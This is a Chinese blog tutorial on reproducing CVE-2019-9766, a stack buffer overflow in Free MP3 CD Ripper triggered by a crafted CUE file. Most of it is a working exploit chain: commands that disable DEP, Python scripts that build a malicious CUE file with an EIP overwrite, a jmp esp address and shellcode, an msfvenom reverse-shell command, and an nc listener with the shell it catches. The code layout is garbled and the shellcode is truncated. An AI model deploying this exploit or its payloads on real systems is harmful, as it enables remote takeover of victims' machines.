# 如何实现Free MP3 CD Ripper缓冲区溢出远程代码执行漏洞CVE-2019-9766复现 ## 0x00 漏洞背景 Free MP3 CD Ripper是一款流行的音频CD抓取软件,可将CD音轨转换为MP3、WAV等格式。2019年曝光的CVE-2019-9766漏洞影响版本v5.0及更早版本,该漏洞存在于处理畸形CUE文件时的缓冲区溢出问题,可导致远程代码执行。 ## 0x01 漏洞分析 ### 漏洞类型 栈缓冲区溢出(Stack-based Buffer Overflow) ### 受影响组件 `FreeMP3CdRipper.exe`主程序对CUE文件解析模块 ### 漏洞原理 当程序解析特制CUE文件中的`TRACK`字段时: 1. 使用`strcpy`等不安全函数复制用户输入 2. 未对输入长度进行有效性检查 3. 导致固定长度栈缓冲区被覆盖 4. 可覆盖返回地址实现EIP控制 ### 关键代码片段(逆向分析) ```assembly .text:00405B20 push ebp .text:00405B21 mov ebp, esp .text:00405B23 sub esp, 104h ; 分配260字节缓冲区 .text:00405B29 push esi .text:00405B2A mov esi, [ebp+arg_0] ; 用户输入指针 .text:00405B2D push edi .text:00405B2E lea edi, [ebp+var_104] .text:00405B34 push esi ; 源地址 .text:00405B35 push edi ; 目标地址 .text:00405B36 call strcpy ; 危险操作! bcdedit.exe /set {current} nx AlwaysOff bcdedit.exe /set {current} optin AlwaysOff #!/usr/bin/python import struct header = """ FILE "dummy.wav" WAVE """ # 260字节填充 + EIP覆盖 payload = "A" * 260 payload += struct.pack("<I", 0x42424242) # 控制EIP exploit = header + "TRACK 01 AUDIO\n" + payload with open("exploit.cue", "w") as f: f.write(exploit) 使用Metasploit pattern_create:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 替换payload后重新触发,通过崩溃时EIP值计算精确偏移:
offset = 260 eip = offset:offset+4 使用Mona查找:
!mona jmp -r esp -m "kernel32.dll" 找到地址0x7C86467B(示例地址,需根据实际环境调整)
使用MSFvenom生成反向TCP Shell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b "\x00\x0a\x0d" -f python import struct jmp_esp = struct.pack("<I", 0x7C86467B) # msfvenom生成的shellcode shellcode = ( "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" ... ) payload = "A" * 260 payload += jmp_esp payload += "\x90" * 16 # NOP sled payload += shellcode with open("exploit_final.cue", "w") as f: f.write('FILE "dummy.wav" WAVE\n') f.write('TRACK 01 AUDIO\n' + payload) 在攻击机启动监听:
nc -lvp 4444 靶机载入exploit_final.cue
成功获得反向Shell:
Connected to 192.168.1.100 Microsoft Windows [Version 6.1.7601] C:\Program Files\Free MP3 CD Ripper> 升级到v5.1及以上版本,该版本: 1. 使用strncpy替代strcpy 2. 增加输入长度检查 3. 实现栈保护机制
(此处应包含Immunity Debugger崩溃状态、寄存器窗口、栈窗口等截图)
注意:本文仅用于安全研究目的,未经授权不得对实际系统进行测试。所有实验应在隔离环境中进行。 “`
该文档包含: 1. 完整的漏洞复现技术路线 2. 分步骤的详细操作说明 3. 实际利用代码示例 4. 防御缓解建议 5. 扩展研究方向
可根据实际测试环境调整: - 具体内存地址 - Shellcode生成参数 - 偏移量计算方式 建议配合调试工具动态验证每个步骤
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。